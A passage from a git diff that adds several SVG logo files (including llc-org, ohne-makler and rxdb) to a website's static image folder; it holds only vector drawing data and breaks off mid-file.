18.5756C72.6864 13.5085 69.0839 9.61148 64.0537 9.08558C61.4364 8.81194 58.7771 8.93876 55.9662 8.88438Z" fill="#0B1E3F"/>
+<path d="M7.59587 20.7312C7.68621 21.3785 7.72505 22.0287 7.72604 22.679C7.73267 27.0495 7.73125 31.4201 7.71632 35.8675C6.74247 35.7085 5.75845 35.5477 4.8314 35.2241C-0.168688 33.4785 -1.2686 27.1641 1.6236 23.7154C3.14436 21.9021 5.15101 20.9218 7.59587 20.7312Z" fill="#5FA2D8"/>
+<path d="M81.1693 35.7528C81.0672 35.6586 81.0142 35.552 81.0143 35.4454C81.0167 30.6443 81.0238 25.8431 81.0724 20.9842C84.3691 20.6113 88.1121 23.4864 88.6076 27.3221C89.0849 31.0178 86.7192 34.6412 83.1772 35.4728C82.5464 35.6209 81.8886 35.6541 81.1693 35.7528Z" fill="#5EA1D8"/>
+<path d="M35.3847 40.8975C34.8015 39.8219 34.2015 38.8284 34.2426 37.5903C34.2722 36.6964 34.6455 36.0438 35.4451 35.7017C36.1719 35.3908 36.9315 35.1351 37.6992 34.9464C38.5768 34.7307 38.862 35.4612 39.1954 36.0442C39.5445 36.6547 39.7767 37.3528 40.2119 37.8898C41.9951 40.0901 44.4103 39.943 45.9648 37.5777C46.2435 37.1538 46.4712 36.6953 46.7074 36.2449C47.5233 34.6893 49.5776 34.5148 50.7257 35.8701C51.3219 36.5739 52.1756 37.1581 51.8135 38.2454C51.5314 39.0925 51.1857 39.9308 50.7639 40.7172C48.0675 45.7435 40.6638 45.7768 37.4998 43.1525C36.7273 42.5117 36.1046 41.6907 35.3847 40.8975Z" fill="#0C2041"/>
+<path fill-rule="evenodd" clip-rule="evenodd" d="M59.2084 36.7964C64.9101 36.7964 69.5322 32.1793 69.5322 26.4839C69.5322 20.7884 64.9101 16.1714 59.2084 16.1714C53.5067 16.1714 48.8845 20.7884 48.8845 26.4839C48.8845 32.1793 53.5067 36.7964 59.2084 36.7964ZM59.1231 30.3191C61.1964 30.3191 62.8772 28.6402 62.8772 26.5691C62.8772 24.498 61.1964 22.8191 59.1231 22.8191C57.0497 22.8191 55.3689 24.498 55.3689 26.5691C55.3689 28.6402 57.0497 30.3191 59.1231 30.3191Z" fill="#B2213E"/>
+<path fill-rule="evenodd" clip-rule="evenodd" d="M29.1754 36.6259C34.8771 36.6259 39.4992 32.0089 39.4992 26.3134C39.4992 20.618 34.8771 16.0009 29.1754 16.0009C23.4737 16.0009 18.8515 20.618 18.8515 26.3134C18.8515 32.0089 23.4737 36.6259 29.1754 36.6259ZM29.09 30.1487C31.1634 30.1487 32.8442 28.4697 32.8442 26.3987C32.8442 24.3276 31.1634 22.6487 29.09 22.6487C27.0167 22.6487 25.3359 24.3276 25.3359 26.3987C25.3359 28.4697 27.0167 30.1487 29.09 30.1487Z" fill="#B2213E"/>
+</svg>
diff --git a/www/static/img/llc-org.svg b/www/static/img/llc-org.svg
new file mode 100644
index 00000000..443fd529
--- /dev/null
+++ b/www/static/img/llc-org.svg
@@ -0,0 +1,12 @@
+<svg width="150" height="33" viewBox="0 0 150 33" fill="none" xmlns="http://www.w3.org/2000/svg">
+<path d="M43.5181 1.56982H50.7952V21.7883H63.0716V27.6344H43.5181V1.56982Z" fill="#1A3154"/>
+<path d="M65.5698 1.56982H72.8469V21.7883H85.1234V27.6344H65.5698V1.56982Z" fill="#1A3154"/>
+<path d="M92.7878 26.4226C90.6434 25.268 88.9588 23.6608 87.7339 21.6008C86.5089 19.5409 85.8965 17.2073 85.8965 14.6002C85.8965 11.9931 86.5089 9.66123 87.7339 7.59965C88.9588 5.53969 90.6434 3.93244 92.7878 2.77789C94.9322 1.62334 97.3515 1.04688 100.047 1.04688C102.399 1.04688 104.519 1.46864 106.406 2.31216C108.294 3.15568 109.861 4.37212 111.112 5.96146L106.48 10.2068C104.813 8.17123 102.793 7.15346 100.415 7.15346C99.0185 7.15346 97.7743 7.46449 96.6844 8.08492C95.5945 8.70535 94.749 9.58144 94.1477 10.7099C93.5465 11.8401 93.2476 13.1363 93.2476 14.6002C93.2476 16.0658 93.5482 17.362 94.1477 18.4905C94.7473 19.6207 95.5929 20.4951 96.6844 21.1156C97.7743 21.736 99.0185 22.047 100.415 22.047C102.791 22.047 104.813 21.0293 106.48 18.9937L111.112 23.239C109.863 24.8284 108.294 26.0448 106.406 26.8883C104.519 27.7318 102.401 28.1536 100.047 28.1536C97.3515 28.1536 94.9306 27.5771 92.7878 26.4226Z" fill="#1A3154"/>
+<path d="M112.933 26.3901C112.933 25.838 113.071 25.4472 113.347 25.2176C113.624 24.988 113.96 24.874 114.354 24.874C114.756 24.874 115.096 24.988 115.376 25.2176C115.656 25.4472 115.796 25.838 115.796 26.3901C115.796 26.9291 115.656 27.3215 115.376 27.5674C115.096 27.815 114.756 27.9387 114.354 27.9387C113.958 27.9387 113.624 27.815 113.347 27.5674C113.071 27.3199 112.933 26.9275 112.933 26.3901Z" fill="#1A3154"/>
+<path d="M128.985 21.6008C128.985 22.5892 128.858 23.4718 128.603 24.247C128.349 25.0221 127.979 25.6751 127.494 26.2108C127.01 26.745 126.426 27.1521 125.745 27.4322C125.063 27.7123 124.291 27.8523 123.43 27.8523C122.626 27.8523 121.888 27.7123 121.216 27.4322C120.544 27.1521 119.966 26.745 119.477 26.2108C118.988 25.6767 118.612 25.0221 118.347 24.247C118.082 23.4718 117.948 22.5909 117.948 21.6008C117.948 20.285 118.17 19.163 118.615 18.2348C119.061 17.3083 119.697 16.6031 120.527 16.1179C121.356 15.6342 122.345 15.3916 123.494 15.3916C124.586 15.3916 125.544 15.6359 126.368 16.1228C127.193 16.6097 127.836 17.3148 128.296 18.2397C128.755 19.1647 128.985 20.285 128.985 21.6008ZM120.167 21.6008C120.167 22.5241 120.284 23.3188 120.517 23.9848C120.75 24.6508 121.109 25.1605 121.594 25.5171C122.078 25.8738 122.705 26.0513 123.473 26.0513C124.227 26.0513 124.848 25.8738 125.336 25.5171C125.825 25.1605 126.183 24.6492 126.413 23.9848C126.643 23.3188 126.757 22.5257 126.757 21.6008C126.757 20.684 126.643 19.8991 126.413 19.2445C126.183 18.5898 125.827 18.0883 125.341 17.7398C124.857 17.3913 124.227 17.2171 123.451 17.2171C122.316 17.2171 121.486 17.6014 120.957 18.3684C120.43 19.1337 120.167 20.2117 120.167 21.6008Z" fill="#1A3154"/>
+<path d="M137.135 15.3931C137.351 15.3931 137.584 15.4061 137.835 15.4305C138.085 15.4566 138.301 15.4875 138.481 15.5233L138.254 17.5638C138.082 17.5198 137.883 17.484 137.656 17.4547C137.429 17.4253 137.221 17.4107 137.026 17.4107C136.566 17.4107 136.129 17.4986 135.713 17.6729C135.296 17.8471 134.93 18.0995 134.615 18.4317C134.298 18.7623 134.051 19.1661 133.872 19.6433C133.692 20.1188 133.604 20.6626 133.604 21.2733V27.6323H131.429V15.6113H133.173L133.432 17.782H133.528C133.772 17.3455 134.068 16.9466 134.417 16.5818C134.766 16.2187 135.168 15.9288 135.623 15.7139C136.078 15.5005 136.582 15.3931 137.135 15.3931Z" fill="#1A3154"/>
+<path d="M143.496 32.9996C141.91 32.9996 140.691 32.7048 139.841 32.1154C138.99 31.5259 138.564 30.7051 138.564 29.6499C138.564 28.9008 138.798 28.2658 139.264 27.7463C139.73 27.2268 140.384 26.8751 141.223 26.6943C140.907 26.5494 140.637 26.3247 140.41 26.0234C140.183 25.7222 140.071 25.3818 140.071 25.004C140.071 24.5611 140.194 24.1768 140.442 23.8527C140.69 23.5287 141.061 23.2144 141.556 22.9099C140.932 22.6477 140.429 22.2129 140.048 21.6071C139.667 20.9997 139.478 20.2897 139.478 19.4739C139.478 18.6092 139.659 17.8699 140.021 17.2592C140.383 16.6486 140.905 16.1829 141.588 15.8637C142.27 15.5445 143.099 15.3833 144.075 15.3833C144.29 15.3833 144.512 15.3931 144.742 15.411C144.972 15.4289 145.191 15.4566 145.4 15.4924C145.608 15.5282 145.776 15.5657 145.906 15.6015H149.999V16.8994L147.89 17.2267C148.097 17.5035 148.266 17.8308 148.396 18.2086C148.524 18.5864 148.59 19.0017 148.59 19.4527C148.59 20.674 148.179 21.6397 147.357 22.3497C146.536 23.0597 145.4 23.4131 143.95 23.4131C143.612 23.4065 143.271 23.3772 142.927 23.3251C142.619 23.5075 142.385 23.7045 142.228 23.9195C142.07 24.1344 141.992 24.3787 141.992 24.6555C141.992 24.8672 142.062 25.0366 142.202 25.1685C142.342 25.2988 142.545 25.3965 142.81 25.4567C143.075 25.5186 143.398 25.5495 143.779 25.5495H145.846C147.139 25.5495 148.129 25.8264 148.819 26.3784C149.508 26.9305 149.852 27.7381 149.852 28.7999C149.852 30.145 149.307 31.1806 148.216 31.9085C147.121 32.6364 145.549 32.9996 143.496 32.9996ZM143.572 31.3956C144.498 31.3956 145.271 31.3011 145.893 31.1122C146.514 30.9233 146.983 30.6547 147.298 30.3045C147.613 29.9561 147.772 29.5408 147.772 29.0604C147.772 28.624 147.669 28.2918 147.465 28.0622C147.261 27.8326 146.957 27.6779 146.555 27.5981C146.153 27.5183 145.658 27.4776 145.07 27.4776H143.11C142.607 27.4776 142.17 27.5574 141.797 27.717C141.424 27.8766 141.133 28.1078 140.924 28.4091C140.715 28.7103 140.612 29.0832 140.612 29.5278C140.612 30.1319 140.87 30.5928 141.382 30.9136C141.894 31.236 142.625 31.3956 143.572 31.3956ZM144.046 21.9165C144.843 21.9165 145.438 21.7032 145.834 21.2782C146.229 20.8532 146.425 20.2441 146.425 19.4511C146.425 18.6011 146.224 17.9611 145.822 17.5312C145.42 17.1029 144.824 16.888 144.035 16.888C143.266 16.888 142.68 17.1078 142.275 17.5475C141.869 17.9872 141.665 18.6287 141.665 19.4723C141.665 20.2507 141.869 20.8515 142.279 21.2782C142.689 21.7048 143.278 21.9165 144.046 21.9165Z" fill="#1A3154"/>
+<path d="M13.7056 0H5.771V24.8449H30.2965V16.807H13.7056V0Z" fill="#3D8AFF"/>
+<path fill-rule="evenodd" clip-rule="evenodd" d="M5.7709 24.8449V0L0 7.30674V30.6909H21.6401L30.2964 24.8449H5.7709ZM27.9141 25.576H5.04914V2.08275L0.721764 7.56403V29.9614H21.4231L27.9141 25.576Z" fill="#3D8AFF"/>
+<path d="M30.2982 0H18.0347V12.4232H30.2982V0Z" fill="#FF813A"/>
+</svg>
diff --git a/www/static/img/ohne-makler.svg b/www/static/img/ohne-makler.svg
new file mode 100644
index 00000000..492bdbaf
--- /dev/null
+++ b/www/static/img/ohne-makler.svg
@@ -0,0 +1 @@
+<svg xmlns="http://www.w3.org/2000/svg" width="202" height="64" fill="none"><path fill="#236BE9" d="M147.206 38.4c-.312 1.722-.324 3.96-.324 6.653v7.89l6.228-5.388-1.296-.352v-1.161c1.261.07 2.557.088 3.8.088 1.008 0 2.034-.036 3.024-.088v1.161l-1.584.352c-2.395 1.584-4.699 3.434-6.932 5.3 2.16 2.342 6.736 7.219 8.931 9.244l.896.243 1.48-.278c.304-1.685.323-3.862.325-6.48v-8.3c-.002-2.598-.021-4.774-.325-6.471-.683-.123-1.423-.283-2.16-.407v-1.161c1.224-.07 3.798-.51 5.131-.845h1.674c-.304 1.683-.322 3.862-.324 6.478v10.75c0 2.596.021 4.772.324 6.471l1.872.352v1.162c-1.386-.035-2.808-.088-4.194-.088-1.123 0-2.272.046-3.403.073v.015c-2.413 0-3.962.123-5.258.387l-2.448-2.87-2.934-3.274-2.845-3.187v.8c0 2.675.013 4.912.323 6.648l1.872.352v1.161c-1.385-.035-2.808-.088-4.193-.088-1.388 0-2.81.07-4.196.088l.018-1.216 1.872-.352c.304-1.683.323-3.86.325-6.476v-8.304c-.002-2.596-.021-4.772-.325-6.47-.683-.122-1.422-.282-2.16-.406v-1.161c1.224-.07 3.798-.51 5.131-.845h1.675ZM9.614 45.654c6.572 0 9.616 4.261 9.616 9.136 0 3.999-2.648 9.175-9.616 9.175C3.637 63.965 0 60.514 0 54.792c0-5.264 4.123-9.138 9.614-9.138Zm60.244 0c3.456 0 7.417 1.99 7.417 6.901v.97H64.71c0 4.982 1.872 7.605 5.707 7.605 2.288 0 4.16-1.285 5.869-2.94l1.315 1.197c-1.62 1.92-4.357 4.578-8.318 4.578-6.77 0-9.093-4.754-9.093-8.416 0-6.656 5.006-9.895 9.669-9.895Zm108.369 0c3.456 0 7.418 1.99 7.418 6.901v.97h-12.567c0 4.982 1.872 7.605 5.708 7.605 2.288 0 4.16-1.285 5.87-2.94l1.314 1.197c-1.621 1.92-4.357 4.578-8.319 4.578-6.768 0-9.091-4.754-9.091-8.416 0-6.656 5.005-9.895 9.667-9.895Zm-47.099-.017c6.229 0 7.13 2.71 7.13 6.267 0 .8.105 3.187.22 5.682l.01.232.016.345.011.23c.048 1.079.098 2.148.138 3.089l1.765.916-.018 1.18a53.341 53.341 0 0 0-2.845-.088c-.864 0-1.747.035-2.611.088l-.323-3.839h-.072c-1.099 1.76-2.611 4.226-7.023 4.226-2.07 0-5.76-.95-5.76-4.754 0-5.352 7.021-6.656 12.476-6.656v-1.76c0-1.955-.736-2.87-3.637-2.87-2.322 0-3.637.528-4.736.968v1.726l-1.187.317a20.165 20.165 0 0 0-1.711-3.82c2.071-.67 4.573-1.48 8.157-1.48Zm-33.723.016-.234 3.029.072.035.058-.061.118-.123c1.475-1.528 3.223-2.88 5.819-2.88 2.756 0 3.856 1.456 4.608 3.115l.048.107.026.055c1.386-1.727 3.456-3.276 6.067-3.276 3.781 0 5.312 2.341 5.312 5.616v3.821c0 2.835 0 5.194.323 7.008l1.872.352v1.162a71.04 71.04 0 0 0-2.513-.08l-.176-.003-.768-.005a45.22 45.22 0 0 0-2.896.088c.07-1.392.16-2.941.16-4.947v-3.874c0-4.63-.736-6.269-3.186-6.269-3.205-.016-3.835 3.082-3.835 6.586 0 2.835 0 5.193.323 7.008l1.872.352v1.161c-1.385-.035-2.808-.088-4.193-.088-1.388 0-2.81.07-4.196.088v-1.179l1.872-.352c.301-1.669.324-3.822.325-6.645v-.662c0-4.63-.739-6.269-3.187-6.269-3.187 0-3.835 3.082-3.835 6.586 0 2.835 0 5.193.325 7.008l1.872.352v1.161c-1.386-.035-2.81-.088-4.196-.088-1.387 0-2.808.07-4.195.088V62.47l1.872-.352c.304-1.685.323-3.863.325-6.48v-2.571a37.87 37.87 0 0 0-.325-4.948c-.683-.123-1.422-.281-2.16-.404l-.017-1.215c1.224-.07 3.798-.512 5.13-.845h1.513v-.001Zm-51.168 0-.235 3.029.072.035c1.512-1.6 3.296-3.063 5.995-3.063 3.78 0 5.312 2.341 5.312 5.616v4.359c0 2.595.02 4.771.325 6.47l1.872.352v1.162a70.24 70.24 0 0 0-2.253-.075l-.176-.004-.175-.003a45.32 45.32 0 0 0-3.753.08c.054-1.389.163-2.939.163-4.945v-3.874c0-4.63-.74-6.269-3.187-6.269-3.312 0-4.123 3.082-4.123 6.586v.537c.001 2.597.02 4.772.324 6.47l1.872.353v1.161c-1.385-.035-2.808-.088-4.195-.088-1.385 0-2.808.07-4.195.088v-1.216l1.872-.352c.312-1.72.325-3.958.325-6.652v-2.396c0-1.656-.109-3.312-.325-4.948-.683-.124-1.422-.282-2.16-.405v-1.162c1.224-.07 3.798-.512 5.131-.845h1.512l.002-.001ZM26.339 38.4c-.297 1.646-.321 3.766-.323 6.304v4.013c1.512-1.6 3.294-3.063 5.995-3.063 3.781 0 5.312 2.341 5.312 5.616v3.821c0 2.835 0 5.194.323 7.008l1.872.352v1.162a75.87 75.87 0 0 0-3.456-.088c-1.099 0-2.09.035-2.899.088.072-1.392.162-2.941.162-4.947v-3.874c0-4.63-.738-6.269-3.187-6.269-3.312 0-4.124 3.082-4.124 6.586 0 2.835 0 5.193.325 7.008l1.872.352v1.161c-1.385-.035-2.808-.088-4.195-.088-1.386 0-2.808.07-4.195.088v-1.216l1.872-.352c.304-1.683.323-3.86.325-6.464v-8.315c0-2.597-.021-4.773-.324-6.47-.684-.123-1.424-.283-2.16-.407v-1.161c1.224-.07 3.799-.51 5.13-.845h1.675Zm166.237 7.272c-.162 1.392-.235 2.957-.36 4.613l.053.053c.649-1.584 2.521-4.666 5.87-4.666.72 0 1.44.158 2.088.475a25.95 25.95 0 0 0-1.584 4.42l-1.189-.194v-1.48a1.586 1.586 0 0 0-.737-.192c-1.189 0-3.997 1.161-3.997 7.253 0 2.078.126 4.192.251 6.144.811.124 1.584.23 2.395.352v1.163a150.74 150.74 0 0 0-4.896-.088c-1.712 0-3.187.07-3.926.088v-1.197l1.872-.352c.304-1.685.323-3.862.325-6.464v-2.57c0-1.654-.107-3.308-.325-4.947-.683-.123-1.422-.281-2.16-.405v-1.161c1.224-.07 3.798-.512 5.131-.845h1.189Zm-182.98 2.06c-3.924 0-5.294 3.24-5.294 7.06 0 3.997 1.837 7.096 5.295 7.096 2.971-.018 5.293-2.307 5.293-7.096 0-4.192-2.088-7.06-5.293-7.06Zm124.665 6.708h-.973c-2.358 0-7.184.915-7.184 4.138 0 1.284.973 2.552 3.098 2.552 3.006 0 4.896-2.552 5.059-6.69Zm-44.795-1.109a10.554 10.554 0 0 0-.973 2.27c-1.8-.035-3.475-.087-5.184-.087-1.712 0-3.386.07-5.096.088.413-.722.736-1.479.971-2.272 1.8.036 3.475.09 5.186.09 1.71 0 3.385-.073 5.096-.089ZM69.768 47.54c-3.098 0-4.555 2.042-4.86 4.295l8.047-.388c0-1.672-.198-3.908-3.187-3.908v.001Zm108.37 0c-3.096 0-4.556 2.042-4.861 4.295l8.048-.388c0-1.672-.199-3.908-3.187-3.908v.001ZM39.194 14.474l.17.172.01-.008 18.304 18.565V20.371h6.138v16.064l-8.046-.019-16.56-16.795L25.875 33.13H20.8l18.394-18.656ZM73.12 20.37v16.064h-5.04V20.371h5.04Zm-6.48 0v16.064H65.2V20.371h1.44ZM66.182 0l.167.17.006-.007 33.962 34.427h-5.093L66.192 5.15l-15.87 16.096-2.544-2.582L66.18 0h.001Zm64.986 2.027c.685 0 1.368.056 2.053.165 6.982 1.131 11.734 7.776 10.617 14.86-.864 5.487-5.632 10.058-11.179 10.81v10.452h-3.6V27.802c-.673-.103-1.481-.218-2.133-.39a12.786 12.786 0 0 1-7.584 4.954V41.6h-3.6v-8.98a11.915 11.915 0 0 1-3.204-.657c-6.696-2.32-10.26-9.677-7.991-16.467 2.285-6.79 9.538-10.405 16.234-8.104l-.163-.054.003-.004c.046.016.093.032.141.052l.012.003c2.42-3.248 6.384-5.36 10.394-5.36v-.002Zm6.174 5.514c-4.067-3.45-10.304-2.72-13.705 1.406l.069-.083.009.006a9.607 9.607 0 0 0-1.573 2.666l-.048.128a10.001 10.001 0 0 0-2.91-1.384l-.005.014c-3.6-1.004-7.451.22-9.864 3.12-3.419 4.11-2.88 10.261 1.171 13.71 4.048 3.468 10.116 2.92 13.516-1.186l.004.003c.634-.818 1.248-1.864 1.6-2.815a9.506 9.506 0 0 0 2.914 1.37l-.082-.024c3.552.827 7.752-.408 10.092-3.222 3.401-4.127 2.88-10.26-1.188-13.71Z"/></svg> \ No newline at end of file
diff --git a/www/static/img/rxdb.svg b/www/static/img/rxdb.svg
new file mode 100644
index 00000000..3fc5e75c
--- /dev/null
+++ b/www/static/img/rxdb.svg
@@ -0,0 +1 @@
+<svg xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:cc="http://creativecommons.org/ns#" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd" xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape" preserveAspectRatio="xMidYMin meet" viewBox="-21 35 697 334"><g style="stroke-width: 42px; stroke: rgb(255, 255, 255); stroke-linejoin: round;"><rect x="0" y="98" width="190" height="60" shape-rendering="geometricPrecision" style="fill: rgb(230, 0, 141);"></rect><rect x="28" y="56" width="14" height="14" shape-rendering="geometricPrecision" style="fill: rgb(230, 0, 141);"></rect><rect x="0" y="70" width="14" height="14" shape-rendering="geometricPrecision" style="fill: rgb(230, 0, 141);"></rect><rect x="28" y="70" width="14" height="14" shape-rendering="geometricPrecision" style="fill: rgb(230, 0, 141);"></rect><rect x="42" y="70" width="14" height="14" shape-rendering="geometricPrecision" style="fill: rgb(230, 0, 141);"></rect><rect x="70" y="70" width="14" height="14" shape-rendering="geometricPrecision" style="fill: rgb(230, 0, 141);"></rect><rect x="0" y="84" width="14" height="14" shape-rendering="geometricPrecision" style="fill: rgb(230, 0, 141);"></rect><rect x="14" y="84" width="14" height="14" shape-rendering="geometricPrecision" style="fill: rgb(230, 0, 141);"></rect><rect x="28" y="84" width="14" height="14" shape-rendering="geometricPrecision" style="fill: rgb(230, 0, 141);"></rect><rect x="42" y="84" width="14" height="14" shape-rendering="geometricPrecision" style="fill: rgb(230, 0, 141);"></rect><rect x="70" y="84" width="14" height="14" shape-rendering="geometricPrecision" style="fill: rgb(230, 0, 141);"></rect><rect x="98" y="84" width="14" height="14" shape-rendering="geometricPrecision" style="fill: rgb(230, 0, 141);"></rect><rect x="0" y="172" width="190" height="60" shape-rendering="geometricPrecision" style="fill: rgb(141, 32, 137);"></rect><rect x="0" y="246" width="190" height="60" shape-rendering="geometricPrecision" style="fill: rgb(95, 38, 136);"></rect><rect x="148" y="334" width="14" height="14" shape-rendering="geometricPrecision" style="fill: rgb(95, 38, 136);"></rect><rect x="176" y="320" width="14" height="14" shape-rendering="geometricPrecision" style="fill: rgb(95, 38, 136);"></rect><rect x="148" y="320" width="14" height="14" shape-rendering="geometricPrecision" style="fill: rgb(95, 38, 136);"></rect><rect x="134" y="320" width="14" height="14" shape-rendering="geometricPrecision" style="fill: rgb(95, 38, 136);"></rect><rect x="106" y="320" width="14" height="14" shape-rendering="geometricPrecision" style="fill: rgb(95, 38, 136);"></rect><rect x="176" y="306" width="14" height="14" shape-rendering="geometricPrecision" style="fill: rgb(95, 38, 136);"></rect><rect x="162" y="306" width="14" height="14" shape-rendering="geometricPrecision" style="fill: rgb(95, 38, 136);"></rect><rect x="148" y="306" width="14" height="14" shape-rendering="geometricPrecision" style="fill: rgb(95, 38, 136);"></rect><rect x="134" y="306" width="14" height="14" shape-rendering="geometricPrecision" style="fill: rgb(95, 38, 136);"></rect><rect x="106" y="306" width="14" height="14" shape-rendering="geometricPrecision" style="fill: rgb(95, 38, 136);"></rect><rect x="78" y="306" width="14" height="14" shape-rendering="geometricPrecision" style="fill: rgb(95, 38, 136);"></rect><path d="M209.19400 158L209.19400 97.97920L240.41600 97.97920Q251.04080 97.97920 256.44640 103.75760Q261.85200 109.53600 261.85200 119.32200L261.85200 119.32200Q261.85200 125.28680 258.86960 129.90020Q255.88720 134.51360 250.76120 137.03000L250.76120 137.03000Q251.78640 137.86880 252.53200 138.98720Q253.27760 140.10560 254.20960 142.24920L254.20960 142.24920L261.10640 158L242.83920 158L236.50160 143.55400Q235.75600 141.87640 234.68420 141.17740Q233.61240 140.47840 231.65520 140.47840L231.65520 140.47840L226.71560 140.47840L226.71560 158L209.19400 158ZM226.71560 127.05760L235.94240 127.05760Q239.76360 127.05760 241.86060 125.05380Q243.95760 123.05000 243.95760 119.32200L243.95760 119.32200Q243.95760 111.40000 236.50160 111.40000L236.50160 111.40000L226.71560 111.40000L226.71560 127.05760Z" shape-rendering="geometricPrecision" style="fill: rgb(230, 0, 141);"></path><path d="M262.31800 158L279.37360 135.53880L262.97040 113.82320L281.98320 113.82320L288.88000 123.14320L295.87000 113.82320L314.78960 113.82320L298.47960 135.53880L315.53520 158L296.33600 158L288.88000 148.12080L281.42400 158L262.31800 158Z" shape-rendering="geometricPrecision" style="fill: rgb(230, 0, 141);"></path><path d="M317.86520 158L317.86520 97.97920L344.70680 97.97920Q359.05960 97.97920 366.46900 105.20220Q373.87840 112.42520 373.87840 128.36240L373.87840 128.36240Q373.87840 143.55400 366.46900 150.77700Q359.05960 158 344.70680 158L344.70680 158L317.86520 158ZM335.38680 144.57920L342.47000 144.57920Q347.13000 144.57920 350.01920 143.22780Q352.90840 141.87640 354.44620 138.38140Q355.98400 134.88640 355.98400 128.36240L355.98400 128.36240Q355.98400 121.74520 354.58600 118.06380Q353.18800 114.38240 350.25220 112.89120Q347.31640 111.40000 342.47000 111.40000L342.47000 111.40000L335.38680 111.40000L335.38680 144.57920Z" shape-rendering="geometricPrecision" style="fill: rgb(230, 0, 141);"></path><path d="M380.40240 158L380.40240 97.97920L413.39520 97.97920Q422.43560 97.97920 427.23540 102.26640Q432.03520 106.55360 432.03520 114.56880L432.03520 114.56880Q432.03520 119.04240 430.35760 122.30440Q428.68000 125.56640 425.79080 127.43040L425.79080 127.43040Q429.98480 129.10800 432.08180 131.99720Q434.17880 134.88640 434.17880 140.19880L434.17880 140.19880Q434.17880 148.68000 428.95960 153.34000Q423.74040 158 414.14080 158L414.14080 158L380.40240 158ZM397.27160 121.93160L408.64200 121.93160Q415.07280 121.93160 415.07280 116.15320L415.07280 116.15320Q415.07280 113.17080 413.44180 111.72620Q411.81080 110.28160 408.17600 110.28160L408.17600 110.28160L397.27160 110.28160L397.27160 121.93160ZM397.27160 145.79080L409.38760 145.79080Q412.92920 145.79080 414.60680 144.29960Q416.28440 142.80840 416.28440 139.36000L416.28440 139.36000Q416.28440 136.37760 414.56020 134.93300Q412.83600 133.48840 409.01480 133.48840L409.01480 133.48840L397.27160 133.48840L397.27160 145.79080Z" shape-rendering="geometricPrecision" style="fill: rgb(230, 0, 141);"></path><path d="M219.72560 232.93200Q211.61720 232.93200 205.46600 230.78840L205.46600 230.78840L205.46600 216.24920Q210.03280 218.11320 216.09080 218.11320L216.09080 218.11320Q221.12360 218.11320 223.26720 216.06280Q225.41080 214.01240 225.41080 209.25920L225.41080 209.25920L225.41080 171.97920L242.93240 171.97920L242.93240 212.05520Q242.93240 221.93440 236.92100 227.43320Q230.90960 232.93200 219.72560 232.93200L219.72560 232.93200Z" shape-rendering="geometricPrecision" style="fill: rgb(141, 32, 137);"></path><path d="M264.64800 232.93200Q257.84440 232.93200 253.41740 229.34380Q248.99040 225.75560 248.99040 218.76560L248.99040 218.76560Q248.99040 211.68240 253.69700 207.86120Q258.40360 204.04000 267.72360 204.04000L267.72360 204.04000L279.18720 204.04000L279.18720 203.20120Q279.18720 200.59160 276.99700 199.38000Q274.80680 198.16840 269.49440 198.16840L269.49440 198.16840Q261.85200 198.16840 254.39600 200.49840L254.39600 200.49840L254.39600 189.96680Q257.84440 188.56880 262.87720 187.73000Q267.91000 186.89120 273.03600 186.89120L273.03600 186.89120Q283.84720 186.89120 289.85860 191.31820Q295.87000 195.74520 295.87000 204.78560L295.87000 204.78560L295.87000 232L280.58520 232L279.74640 228.45840Q274.71360 232.93200 264.64800 232.93200L264.64800 232.93200ZM270.61280 222.68000Q275.92520 222.68000 279.18720 219.13840L279.18720 219.13840L279.18720 213.63960L270.70600 213.63960Q267.72360 213.63960 266.32560 214.75800Q264.92760 215.87640 264.92760 218.20640L264.92760 218.20640Q264.92760 222.68000 270.61280 222.68000L270.61280 222.68000Z" shape-rendering="geometricPrecision" style="fill: rgb(141, 32, 137);"></path><path d="M315.16240 232L297.73400 187.82320L316.00120 187.82320L324.38920 213.73280L332.77720 187.82320L351.04440 187.82320L333.61600 232L315.16240 232Z" shape-rendering="geometricPrecision" style="fill: rgb(141, 32, 137);"></path><path d="M365.77000 232.93200Q358.96640 232.93200 354.53940 229.34380Q350.11240 225.75560 350.11240 218.76560L350.11240 218.76560Q350.11240 211.68240 354.81900 207.86120Q359.52560 204.04000 368.84560 204.04000L368.84560 204.04000L380.30920 204.04000L380.30920 203.20120Q380.30920 200.59160 378.11900 199.38000Q375.92880 198.16840 370.61640 198.16840L370.61640 198.16840Q362.97400 198.16840 355.51800 200.49840L355.51800 200.49840L355.51800 189.96680Q358.96640 188.56880 363.99920 187.73000Q369.03200 186.89120 374.15800 186.89120L374.15800 186.89120Q384.96920 186.89120 390.98060 191.31820Q396.99200 195.74520 396.99200 204.78560L396.99200 204.78560L396.99200 232L381.70720 232L380.86840 228.45840Q375.83560 232.93200 365.77000 232.93200L365.77000 232.93200ZM371.73480 222.68000Q377.04720 222.68000 380.30920 219.13840L380.30920 219.13840L380.30920 213.63960L371.82800 213.63960Q368.84560 213.63960 367.44760 214.75800Q366.04960 215.87640 366.04960 218.20640L366.04960 218.20640Q366.04960 222.68000 371.73480 222.68000L371.73480 222.68000Z" shape-rendering="geometricPrecision" style="fill: rgb(141, 32, 137);"></path><path d="M424.57920 232.93200Q418.42800 232.93200 413.02240 231.95340Q407.61680 230.97480 403.88880 229.20400L403.88880 229.20400L403.88880 214.75800Q408.17600 216.71520 413.30200 217.92680Q418.42800 219.13840 422.80840 219.13840L422.80840 219.13840Q427.84120 219.13840 430.03140 218.25300Q432.22160 217.36760 432.22160 214.75800L432.22160 214.75800Q432.22160 213.08040 431.14980 212.00860Q430.07800 210.93680 428.02760 210.14460Q425.97720 209.35240 421.50360 207.95440L421.50360 207.95440Q420.01240 207.58160 419.26680 207.30200L419.26680 207.30200Q413.11560 205.34480 409.62060 203.01480Q406.12560 200.68480 404.58780 197.37620Q403.05000 194.06760 403.05000 189.12800L403.05000 189.12800Q403.05000 180.27400 409.38760 175.66060Q415.72520 171.04720 428.02760 171.04720L428.02760 171.04720Q432.78080 171.04720 438.04660 171.83940Q443.31240 172.63160 446.76080 173.75000L446.76080 173.75000L446.76080 188.28920Q438.55920 185.02720 430.82360 185.02720L430.82360 185.02720Q425.88400 185.02720 423.41420 185.77280Q420.94440 186.51840 420.94440 189.03480L420.94440 189.03480Q420.94440 190.61920 421.96960 191.55120Q422.99480 192.48320 425.09180 193.18220Q427.18880 193.88120 